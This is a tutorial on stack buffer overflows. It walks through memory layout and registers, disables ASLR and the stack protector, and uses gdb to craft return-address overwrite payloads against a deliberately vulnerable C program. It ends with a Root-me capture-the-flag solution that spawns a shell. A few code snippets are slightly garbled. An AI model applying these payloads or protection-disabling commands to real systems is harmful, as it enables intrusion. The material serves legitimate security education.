Introduction
Here we will focus on stack based buffer overflow. A buffer is an area of memory allocated with a fixed size. Buffer Overflow is the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffer. This vulnerability arises due to the mixing of the storage for data(eg. buffers) and the storage of controls(eg. return address). C Programming language assumes that its the programmer responsibility for data integrity. This responsibility is not shifted to the compiler since it makes the resulting binary significantly slower. In C, if a programmer wants to put 15 bytes of data into a buffer that had only been allocated 10 bytes of space, that type of action is allowed, even the program ultimately crash. This is known as buffer overflow since the extra 5 bytes of data will overflow and spill out of the allocated memory overwriting whatever come next. Generally functions such as scanf, gets, strcpy, sprintf are vulnerable to buffer overflow.
Memory Layout
In order to understand the Buffer Overflow, we have to understand the memory layout when program is running. Figure shows memory organization of a typical program.
When a program is loaded, its organized into three areas of memory.
- Text Segment: Contains the code or executable binary.
- Stack Segment: Stack is used to store local variables and is used for passing arguments to the functions along with the return address of the instruction which is to be executed after the function call is over. Divided into two parts.
- Initialized data segment: All the global, static and constant data are stored in the data segment.
- Uninitialized data segment: all the uninitialized data segment are stored in BSS.
- Heap Segment: When a program allocate memory at runtime using calloc and malloc function, then memory get allocated in heap.
Heap and Stack are located in opposite ends of the process’s virtual address space.
- EAX: Accumulator
- EBX: Base
- ECX: Counter
- EDX: Data
- EIP: Instruction Pointer
- ESP: Stack Pointer
- EBP: Base Pointer
- ESI: Source Index.
Among them, ESP, EBP and EIP are particularly interesting. ESP and EBP together keep track of the stack frame of the currently executing function.
EIP stored the address of the next instruction to be executed. After every instruction execution its value is incremented depending upon the size of the instruction.
ESP stores the address of the top of the stack. This is the address of the last element of the stack. Since stack grows downward in memory from higher address to lower address value, the ESP points to the stack at lowest memory address.
EBP register usually set to the ESP at the start of the function. This is done to keep track of the parameters and local variables. Local variables are accessed by subtracting offsets from EBP and function parameters are accessed by adding offsets to it.
Simple Vulnerable Program
#include <stdio.h> #include <string.h> printf("Congratulation Execution Hijacked:\n"); } void function1(char *str){ char buffer[5]; strcpy(buffer,str); } void main(int argc,char *argv[]){ function1(argv[1]); printf("Executed Normally\n"); }
Linux system generally have implemented several security mechanism to make the buffer overflow attack difficult. In order to do experiment we have to disable them.
Address Space Randomization(ASLR): It is used to randomize starting address of heap and stack. To disable it
sudo sysctl -w kernel.randomize_va_space=0
The Stack Guard Protection Scheme: The GCC compiler implements a security mechanism known as stack guard. In the presence of this guard buffer overflow may not work. To disable it compile the program as:
gcc -fno-stack-protector example-prog1.c
Non-Executable stack: Binary program needs to declare at the beginning of their header whether they require the executable stack or not. By default stack is set non executable. To set the stack executable, use the following option to compile the program using gcc.
gcc -z example-prog1.c
compile the above program using
gcc -ggdb -z execstack -fno-stack-protector buf2.c -o buf2
daya@ubuntu:~$ ./buf2 AAAA
Executed Normally:
daya@ubuntu:~$ ./buf2 AAAAAAAAAAAAAA
Executed Normally:
Segmentation fault (core dumped)
In order to see what is happening in the program we execute the program in gdb and setting break point we would observe the registers and how the program in being executed.
gdb ./buf2 (gdb) set disassembly-flavor intel (gdb) list 1,18
1 #include <stdio.h> 2 #include <string.h> 3 void overflowed(){ 4 printf("Execution Hijacked\n"); 5 } 6 7 void function1(char *str){ 8 char buffer[5]; 9 strcpy(buffer,str); 10 } 11 12 13 void main(int argc, char *argv[]){ 14 function1(argv[1]); 15 printf("Executed Normally:\n"); 16 } 17
We will pause the execution right before the main calls function1. We will also set the break points inside function1 right before strcpy is executed and directly afterward it.
(gdb) b 14 Breakpoint 1 at 0x804844b: file buf2.c, line 14. (gdb) b 9 Breakpoint 2 at 0x804842e: file buf2.c, line 9. (gdb) b 10 Breakpoint 3 at 0x8048440: file buf2.c, line 10.
(gdb) run AAAA Starting program: /home/daya/Documents/Offensive-Security/Buffer-Overflow/buf2 AAAA Breakpoint 1, main (argc=2, argv=0xbffff704) at buf2.c:14 14
we examine the content of memory with x flags. Memory contents are displayed in hex. This prints sixteen four bytes words in Hex format. Far left we have memory address in 16 bytes increments, followed by the contents of the memory of these addresses.
(gdb) x/16xw $esp 0xbffff650: 0xb7fed230 0x00000000 0x08048479 0xb7fc4ff4 0xbffff660: 0x08048470 0x00000000 0x00000000 0xb7e39533 0xbffff670: 0x00000002 0xbffff704 0xbffff710 0xb7fdc858 0xbffff680: 0x00000000 0xbffff71c 0xbffff710 0x00000000
We can also find the ebp(which points at the bottom or highest address) of mains stack frame with the command x/1xw $ebp.
(gdb) x/1xw $ebp 0xbffff668: 0x00000000
Based on the value of ebp and esp, main’s stack frame looks like:
(gdb) x/16xw $esp 0xbffff650: 0xb7fed230 0x00000000 0x08048479 0xb7fc4ff4 0xbffff660: 0x08048470 0x00000000 0x00000000
info registers (gdb) info registers eax 0x2 2 ecx 0xbffff704 -1073744124 edx 0xbffff694 -1073744236 ebx 0xb7fc4ff4 -1208201228 esp 0xbffff650 0xbffff650 ebp 0xbffff668 0xbffff668 esi 0x0 0 edi 0x0 0 eip 0x804844b 0x804844b <main+9> eflags 0x200286 [ PF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
(gdb) x/16xw $esp 0xbffff620: 0xbffff63b 0xbffff86a 0x00000002 0x080482fd 0xbffff630: 0xb7fc53e4 0x00000014 0x41049ff4 0x00414141 0xbffff640: 0xffffffff 0xb7e52dd6 0xbffff668 0x0804845b 0xbffff650: 0xbffff86a 0x00000000 0x08048479 0xb7fc4ff4 (gdb) x/1xw $ebp 0xbffff648: 0xbffff668
Function1 stack frames
0xbffff620: 0xbffff63b 0xbffff86a 0x00000002 0x080482fd 0xbffff630: 0xb7fc53e4 0x00000014 0x41049ff4 0x00414141 0xbffff640: 0xffffffff 0xb7e52dd6 0xbffff668
Dump of assembler code for function main:
0x08048442 <+0>: push %ebp 0x08048443 <+1>: mov %esp,%ebp 0x08048445 <+3>: and $0xfffffff0,%esp 0x08048448 <+6>: sub $0x10,%esp 0x0804844b <+9>: mov 0xc(%ebp),%eax 0x0804844e <+12>: add $0x4,%eax 0x08048451 <+15>: mov (%eax),%eax 0x08048453 <+17>: mov %eax,(%esp) 0x08048456 <+20>: call 0x8048428 <function1> 0x0804845b <+25>: movl $0x8048553,(%esp) 0x08048462 <+32>: call 0x8048330 <puts@plt> 0x08048467 <+37>: leave 0x08048468 <+38>: ret End of assembler dump. (gdb)
This shows that, return address for main is 0x0804845b.
Crashing the program:
(gdb) x/30xw $esp 0xbffff610: 0xbffff62b 0xbffff84f 0x00000002 0x080482fd 0xbffff620: 0xb7fc53e4 0x00000014 0x41049ff4 0x41414141 0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff640: 0x41414141 0x41414141 0x08040041 0xb7fc4ff4 0xbffff650: 0x08048470 0x00000000 0x00000000 0xb7e39533 0xbffff660: 0x00000002 0xbffff6f4 0xbffff700 0xb7fdc858 0xbffff670: 0x00000000 0xbffff61c 0xbffff700 0x00000000 0xbffff680: 0x0804822c 0xb7fc4ff4
The position of return address of main in highlighted in red text. In order to verify it, Let us provide 17’s A and 4 B’s i.e:
(gdb) run $(python -c 'print "A"*17+"B"*4') (gdb) x/30xw $esp 0xbffff610: 0xbffff62b 0xbffff858 0x00000002 0x080482fd 0xbffff620: 0xb7fc53e4 0x00000014 0x41049ff4 0x41414141 0xbffff630: 0x41414141 0x41414141 0x41414141 0x42424242 0xbffff640: 0xbffff800 0x00000000 0x08048479 0xb7fc4ff4 0xbffff650: 0x08048470 0x00000000 0x00000000 0xb7e39533 0xbffff660: 0x00000002 0xbffff6f4 0xbffff700 0xb7fdc858 0xbffff670: 0x00000000 0xbffff61c 0xbffff700 0x00000000 0xbffff680: 0x0804822c 0xb7fc4ff4
It verifies that the given address is the return address for the main function. Now, we need to design the payload such that instead of values of B in the return address we would pass the value of address of overflowed function in the payload ultimately making overflowed function executable though its never called. In order to find the address of function just run the command, disassemble overflowed
(gdb) disassemble overflowed Dump of assembler code for function overflowed: 0x08048414 <+0>: push %ebp 0x08048415 <+1>: mov %esp,%ebp 0x08048417 <+3>: sub $0x18,%esp 0x0804841a <+6>: movl $0x8048540,(%esp) 0x08048421 <+13>: call 0x8048330 <puts@plt> 0x08048426 <+18>: leave 0x08048427 <+19>: ret End of assembler dump.
address of function1 is 0x08048428. Now design payload as:
./buf2 $(python -c 'print "A"*17+"\x14\x84\x04\x08"') Execution Hijacked Segmentation fault (core dumped)
Root-me Challenges(Buffer OverFlow)
#include <stdlib.h> #include <stdio.h> /* gcc -m32 -o ch13 ch13.c -fno-stack-protector */ int main() { int var; int check = 0x04030201; char buf[40]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way!\n"); if (check == 0xdeadbeef) { printf("Yeah dude! You win!\nOpening your shell...\n"); system("/bin/dash"); printf("Shell closed! Bye.\n"); } return 0; }
Here the challenge is to execute a shell. you can do simply overflowing the buffer. python -c "print 'A'*40+ 'BBBC'" |./ch13 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBC [check] 0x43424242 You are on the right way!
python -c "print 'A'*40+'\xef\xbe\xad\xde'" |./ch13 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ? [check] 0xdeadbeef Yeah dude! You win! Opening your shell... Shell closed! Bye.
So, to solve the time out issue: cat <(python -c "print 'A'*40+'\xef\xbe\xad\xde'") - |./ch13 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ? [check] 0xdeadbeef Yeah dude! You win! Opening your shell... You will get the shell whoami app-systeme-ch13-cracked